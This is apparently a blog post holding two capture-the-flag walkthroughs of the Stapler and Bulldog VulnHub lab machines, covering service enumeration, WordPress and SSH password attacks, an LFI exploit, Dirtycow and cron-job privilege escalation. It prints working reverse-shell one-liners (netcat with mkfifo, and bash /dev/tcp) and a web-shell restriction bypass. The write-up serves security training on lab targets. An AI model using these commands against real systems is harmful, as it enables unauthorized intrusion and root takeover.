Vulnhub – Stapler

 

Machine: Stapler
IP: 10.0.2.9
Difficulty: Easy

Goal: Root Flag
Link: https://www.vulnhub.com/entry/stapler-1,150/

As usual we start with a Nmap scan to detect open ports of the target system.

1. Results of Nmap scan

As figure 1 shows the system is offering multiple services which is why we enumerate each one in detail step by step.

Port 21 – FTP

2. Nmap service and version scan on port 21

When using Nmap to detect any service and version information (-sV) on port 21 we see that the target is using a vsftp-deamon on version 2.0.8 or newer. When using Searchsploit to look for any available exploits for vsftpd we find a backdoor exploit for version 2.3.4. When we use Metasploit to test the exploit we won’t get any valid response. Which is why we assume that the vsftpd version of the target is not vulnerable.

The next thing that we have to check when dealing with ftp enumeration is wether or not anonymous login is allowed. Figure 3 shows that we are able to access the ftp service as user anonymous while using a blank password. After the successful login we see that there is a file called note which we copy to our local machine.

3. Anonymous login on ftp

Inside the note file we find the following message:

“Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.”

Since we found two names inside the note we create a file to store all potential usernames. Besides the usernames john and elly we add harry because the name was mentioned inside the ftp banner.

Port 22 – SSH

4. Nmap service and version scan on port 22

The service and version information on port 22 shows that the target is using OpenSSH version 7.2p2. For this version it is possible to use a script for username enumeration. But for now we wont make use of that and instead we continue with enumerating the next port.

Port 53 – DNS

5. Nmap service and version scan on port 53

The service and version scan of Nmap on port 53 tells us that the target is using dnsmasq 2.75. We use that information to see if there are any known vulnerabilities for that service. And indeed there are multiple exploits to abuse dnsmasq below version 2.78. Unfortunately all exploits perform a denial of service attack and none can be used to gain a low privileged shell on the target system.

Port 80 – HTTP

6. Nmap service and version scan on port 80

As figure 6 shows Nmap recognizes the service on port 80 as PHP cli server version 5.5 or newer. We try to find any exploits for that service but without luck. When we try to browse the web server we are not able to find any valid sites as shown in figure 7. Even when we use Gobuster  to search for any valid directories on the web server we have no luck.

7. Using Firefox to access http://10.0.2.9

Since we have a web service without any available exploits and no valid directories we are left with near to zero new information. Since desperate times call for desperate measures we use Nikto to scan the web server for any  vulnerabilities. As figure 8 shows Nikto finds two hidden directories .bashrc and .profile but after downloading and inspecting both files we see that they do not contain any useful information.

8. Nikto scan results for http://10.0.2.9/

 

Port 139 – NetBios

9. Nmap service and version scan on port 139

Once again we use Nmap with option -sV to gather service and version information but this time on port 139. When we search for any available exploits we have the problem that we do not know the exact version of the service. There are a lot of exploits available for Samba but  most of them are only working with a specific version of the service. Therefor we keep in mind that we could potentially find an exploit for Samba but for now we keep enumerating further.

When we list the available shares we find two new potential usernames kathy and fred and multiple shares as shown in figure 10.

10. List of SMB-Shares on stapler

While inspecting every share we find two interesting looking files inside the backup folder for Kathy. The first file is called vsftpd.conf and is the configuration file for the FTP service that we already enumerated. The second file is called wordpress-4.tar.gz. We copy both files to our local system and take a closer look at them. Inside the configuration file we wont find any useful information. After extracting the WordPress archive we try to find any credentials. Usually the password to connect to a WordPress-Database is stored inside the wp-config.php file. But as figure 11 shows that file is missing and instead we find a sample file.

11. Content of extracted WordPress directory

Inside the wp-config-sample.php file we find a dummy entry:

define(‘DB_PASSWORD’, ‘password_here’);

12. List of users extracted by Enum4linux

Unfortunately we still do not have gathered much useful information. But we might want to look out for any web services that are using WordPress.

After looking through all shares manually we use a tool called Enum4linux to gather some more information off NetBios. Figure 12 shows a list of usernames that the tool was able to enumerate. We take the new usernames and add them to the existing ones inside our username list.
Since we now have obtained a list of valid usernames we could verify the users with the user enumeration vulnerability that we have found earlier on the SSH service. Furthermore we could use a tool called Hydra to perform a dictionary attack against the SSH service while using the usernames which we already know of.

Port 666

13. Nmap service and version scan on port 666
14. Nmap script scan on port 666

As figure 13 shows Nmap is not able to recognize the service on port 666 even with option -sV being used. When we use Nmap again and add the -sC option to scan for any active scripts we see the following output as shown in figure 14. Inside the output we can see the string “message2.jpg” which could indicate a file stream of an image. To see if we are able to obtain the file we can use Netcat to connect to port 666 and redirect any transferred data into a file on our local system.
nc 10.0.2.9 666 > 666output
After saving the transferred data to our system we can use the command file to examine the filetype. The output states “666output: Zip archive data, at least v2.0 to extract“. After unzipping 666output we obtain a new file called “message2.jpg” which is displayed in figure 15.

15. Displayed message2.jpg

We use the tools Binwalk and Exiftool to analyze the message2.jpg file for any hidden data or stored information. The only thing that we can find is a hidden message inside the metadata as shown in figure 16. In the end it looks like port 666 gave us no new information at all.

16. Hidden message inside message2.jpg metadata

 

Port 3306 – MySQL

17. Nmap service and version scan on port 3306

The service and version scan of Nmap tells us that the target is offering a MySQL service on version 5.7.12. Since we already found a hint that we may face a WordPress web service we assume that this database could potentially be used to host such a service. When we do a quick search to look for any known vulnerabilities for MySQL version 5.7.X we won’t find anything useful. Since until now we have not found any credentials for a database user we continue with the enumeration on the next port.

Port 12380 – HTTP(S)

18. Nmap service and version scan on port 12380

 

 

When we used Nmap for our initial scan from figure 1, Nmap was not able to detect what service is listening on port 12380. When we rerun Nmap while using the option -sV it tells us that port 12380 is offering an Apache web server on version 2.4.18. When we browse the website, we see a placeholder website as shown in figure 19.

19. Placeholder page on all directories with statuscode 400.

Unfortunately every directory we try to access on the web server terminates with a statuscode 400 while displaying the placeholder page. We use Gobuster to search for any hidden directories on the web server. To do so we specify to ignore all responses with a statuscode of 400. To our surprise we are not able to find any new directories. Once again we use Nikto to scan the web server for any vulnerabilities. The Nikto scan results do contain two odd-looking entries. As figure 20 shows Nikto is convinced that there are two accessible directories on the website called /admin112233/ and /blogblog/.

20. Nikto scan results on http://10.0.2.9:12380

But when we try to browse these directories we only see the placeholder page from figure 20. To check whether the Nikto scan results might be false positives we take a closer look at the output from figure 20 and see another odd entry.

“+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.”

Since until now we just assumed that the web server only handles http requests we try to browse the website while using TLS. And suddenly when we access https://10.0.2.9:12380/ we wont see the placeholder page but instead get the following string “Internal Index Page!”. Furthermore we are able to browse the previously mentioned /admin112233/ and /blogblog/ directories as shown in figure 21.

21. /admin112233/ and /blogblog/ on https://10.0.2.9:12380

As the directory name “blogblog” might suggest we can confirm by looking at the following string at the bottom of the web page that we have found our missing WordPress service.
Proudly powered by WordPress

To gain information about usernames, vulnerable plugins and themes of a WordPress service we can use a tool called WPScan. By using the option “- – enumerate u” we get a list of ten usernames as shown in figure 22.

22. WPScan enumerated users

 

23. Live Dictionary attack with WPScan with WordPress usernames

The next thing that we can do with WPScan is a Dictionary-Password Attack with the previous enumerated usernames from figure 22 and a dictionary with potential passwords. As figure 23 shows we are able to get 5 valid username & password combinations with our attack. When we login with each user we see that the users Garry, Harry, Scott and Kathy are all low privileged users that are not allowed to do any changes on themes or plugins. But when we login with the user John we have access upload a new plugin to WordPress. We use this feature to upload a PHP reverse shell which will connect back to our local system on port 9001. Afterwards we setup a Netcat listener on Port 9001 and execute the PHP script by browsing the following page:
https://10.0.2.9:12380/blogblog/wp-content/uploads/shell.php

Once we access the website the PHP code gets executed by the target system and we get a low privileged shell back to our local system on port 9001  as shown in figure 24.

24. Reverse shell connection via PHP

With the low privileged shell on the box we could start to escalate our privileges and enumerate the services on the target system itself. But before we start doing that, for the sake of completeness, I want to show an alternative way of getting a low privileged shell on the target which is a bit trickier.
WPScan has an option to search for plugins with known vulnerabilities. But sometimes there are plugins with known vulnerabilities that WPScan does not know about. Because of this it is always a good idea to enumerate all plugins that are in place and search for known vulnerabilities manually. By doing so we see that WPScan detects a plugin to embed videos as shown in figure 25.

25. WordPress Plugin detected: Advanced Video Embed

When we use Searchsploit to do a quick lookup for any known exploits we get a hit on:
WordPress Plugin Advanced Video 1.0 – Local File Inclusion
We download a Python script to exploit the LFI-Vulnerability as well as the python modules request and urlopen. Inside the script we find two important variables to set the target and a local file to exfiltrate as shown in figure 26.

26. Set target and local file inside python script

When we run the exploit we see the content of the wp-config.php file on our terminal which contains the WordPress database name, user and password as shown in figure 27.

27. Extract of wp-config.php

With the password from figure 27 we are able to connect to the database on port 3306 as user root and dump all usernames and password hashes as shown in figure 28.

28. Usernames and digests from wp_users table

Now we can use Hashcat to perform a dictionary attack on the hashes. By using the rockyou.txt dictionary that comes with Kali Linux by default we are able to crack 12 out of 16 passwords as shown in figure 29.

29. Using Hashcat to perform a dictionary attack

The next step is to use the LFI exploit to dump the passwd file to get a list of all valid usernames of the system. We edit the file_path variable inside the python script, execute it and save the output to a file. Alternatively we could also have used the usernames that we previously obtained by using Enum4linux as already shown in figure 12.
Now that we have obtained a list of 12 WordPress passwords and a list of all valid usernames on the target system we are able to use Hydra to check if any user uses the same password for his or her SSH access as they do to authenticate to the WordPress service.

30. Hydra on SSH with passwd usernames and WordPress passwords

As figure 30 shows due to password reuse we are able to find three valid ssh logins.

Root #1:
Once we have access to the system via SSH or a PHP reverse shell we take a look at the different home directories of all users. One noticeable thing is that most home directories are empty. But when we take a look at the home directory for the user Peter we see a file called .sudo_as_admin_successful which indicates that the user Peter has privileges to execute commands by using sudo.

31. Content of .bash_history of user JKanode

Another odd-looking thing is that all .bash_history files inside the user home directories are empty except the one for a user called JKanode. When we take a look inside the .bash_history file we find a password for the user Peter as shown in figure 31. When we use the password we are able to login to the system via SSH as user Peter. Furthermore we can use the command “sudo -i” and after retyping the password for user Peter we have root privileges as shown in figure 32.

32. Root privileges and flag.txt by using sudo as user Peter

Root #2:
Another way to get root privileges on the box is by using a kernel exploit. To check the kernel information we can use the command “uname -a” which gives us the following output:

Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux

Since the kernel was built in April 2016 it is pretty likely that it is vulnerable to the Dirtycow kernel exploit. To confirm our guess and check if there are any other kernel exploits that the system is potentially vulnerable for we can use a script called Linux-Exploit-Suggester. We download the script to our local machine and host it with a simple HTTP server. Afterwards we download it to the target machine by using Wget and run it. Figure 33 show the output of the script and confirms that the kernel might be vulnerable to the Dirtycow exploit.

33. Output of Linux Exploit Suggester

We download a dirtycow Proof-of-Concept code which we have already used on a previous Vulnhub machine and use a simple HTTP server to host all downloaded files. Afterwards we use Wget to transfer the dcow.cpp and the makefile to the target machine. Next we execute make on the target system to compile the exploit and run it afterwards. As figure 34 shows the exploit runs successfully and we obtain root privileges.

34. Root by using Dirtycow

Root #3:

A third way of getting root privileges is to abuse a badly configures cron job. Figure 35 shows that there is a cron job called lograte which executes every five minutes a script called cron-logrotate.sh which we have write access to.

35. Badly configured cron job

We use the write privileges on the file and add the following bash command which creates a reverse connection to our local system on port 9002.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.8 9002 >/tmp/f

Immediately after this we set up Netcat as a listener and wait for the cron job to execute the script. After some time we get a callback from the target machine which grants us a reverse shell with root privileges as shown in figure 36.

36. Getting root by abusing logrotate cronjob

 

 

 

 

VulnHub – Bulldog 1

Please note: This post was first released on December 10, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/12/vulnhub-bulldog-1.html
Machine: Bulldog v1
Difficulty: Easy
Link: https://www.vulnhub.com/entry/bulldog-1,211/

Goal: Root Flag

We start with a Nmap scan and see that the system is hosting a web service.

1. Results of Nmap scan

When we browse the web page we find a public notice which states that the Bulldog Industries website got hacked and that the IT staff is investigating the possible data breach as well as implementing a more secure environment.
When we take a look at the robots.txt file we can see that indeed the server seems to be hacked in the past by a group of hackers called “German Shepherd Hack Team”.

2. Contents of Robots.txt file

Next up we use Gobuster to search for any hidden directories on the web server. As a result we find the directories “/admin” and “/dev“. When browsing the “/admin” directory we find a login mask for the Django web framework backend as shown in figure 3. Right now we don’t have any valid credentials which is why we keep searching and take a look at the other directory.

3. Login mask on /admin

Looking at “/dev” we find the following text as shown in figure 4. When reading the content of the site we find a few interesting things. The system seems to use a Mongo database. Furthermore there are plans to use a web shell and a new antivirus system. At the bottom of the page we find a few E-mail addresses with potential usernames.

4. Contents of “/dev” Directory

When we follow the link to access the web shell we get redirected to the “/dev/shell” directory. There we see a black page and the following text message: “Please authenticate with the server to use Web-Shell”.

While searching for further information and some potential usernames and passwords we take a closer look at the source code of each web page and find something interesting on the source code for the “/dev” web page.

5. Comments with hashes inside the source code for “/dev”

As figure 5 shows, the source code for the “/dev” web site has comments with hash values inside. Next we try to use Hashcat to recover any passwords that belong to the hash values. But to do so we need to know what types of hashes we are looking at. Using the command “wc -c” we see that the hashes are 40 characters log. So we can calculate “40 * 4 bits = 160 bit digest” which is typical for SHA1 hashes. A helpful link to get an overview of the different hash algorithms and their digest length can be found on Wikipedia.

Since we now know that we have to deal with SHA1 hashes we can use Hashcat to perform dictionary attacks.
When we use the most common Kali Linux dictionary named “rockyou” we are able to recover the following password:

d8b8dd5e7f000b8dea26ef8428caf38c04466b3e = bulldoglover

When using a few different common dictionaries we can even recover a second password:

ddf45997a7e18a25ad5f5cf222da64814dd060d5 = bulldog

Using the recovered passwords and the corresponding usernames “Nick” and “Sarah” to connect via ssh we won’t be able to access the system. But when we try to use the same username & password combination to authenticate on the “/admin” directory from figure 3 we have a valid access to the backed. Unfortunately both users do not have any permission on the backend.
Since we now have a way to authenticate our self as nick or Sarah to the server we go back to the “/dev/shell” directory where no longer is a message to perform an authentication but a restricted web shell.

6. Web shell with limited command execution

When using the web shell we are limited in the amount of commands that can be used. When we try to use any command that is not whitelisted the execution gets blocked as shown in figure 6.

Inside of the current directory of the web shell we find a sqlite database. But when we try to display its contents we receive a statuscode 500 – internal server error response. Furthermore we can access a “manage.py” file but since we are not able to use python with the restricted web shell we can not make any use of it.

To execute arbitrary code on the system we need to bypass the restrictions of the web shell. Since we can use “echo” we try to write valid commands into a new file. Afterwards we try to execute the command by piping the command to bash.

echo “#!bin/sh\n whoami” > whoami.sh
cat whoami.sh | bash

7. Web shell restriction bypassed – arbitrary code execution

The next step is to escape from the restricted web shell into a reverse shell by using the following code.

echo “#!bin/sh\n bash -i >& /dev/tcp/10.0.2.15/9001 0>&1” > shell.sh

cat shell.sh | bash

This way we get a reverse shell without any limitations on what commands can and can not be executed.

8. Non-restricted reverse shell

With the reverse shell we now can access the db.sqlite3 file inside “/home/django/bulldog“, which was not accessible over the web shell. Inside the database there are multiple password hashes stored. When we extract the hashes we see that there is a new username “admin” besides multiple already known usernames.

9. Extracted hashes from database file

When we look at the hash types that are being supported by Hashcat we see that mode 10000 is Django (PBKDF2-SHA256) which is why we try another dictionary attack. Unfortunately we are not able to recover any new passwords.

While we try to find a way to escalate our privileges we stumble across an odd looking cron job called “runAV” as shown in figure 10.

10. Cron job to run AV-Python script every Minute

We remember that we already read about a revolutionary custom-made AV system on the “/dev” web page while enumerating the system earlier. So we take a look at the actual python file that gets executed.

11. Contents of revolutionary AV : )

The really interesting part of the av file is that we have write-permission as shown in figure 11. Which is why we swap the current content of the av file with code for a second reverse shell as shown in figure 12.

12. Using python to create a reverse shell from the av file

Since the cron job to execute the av application runs every minute we get a callback on port 9002 after a few seconds. Furthermore because the cron job runs the python script as user root we gain a reverse shell with root permissions and have access to the flag as shown in figure 13.

13. Root access & flag

The second way to obtain root that is being mentioned inside the flag is even easier to perform. To do so we need to access another hidden directory called “.hiddenadmindirectory” and take a close look at a binary called “customPermissionApp” as shown in figure 14 & 15.

14. Hidden directory inside the home directory of user bulldogadmin
15. Credential leak for user root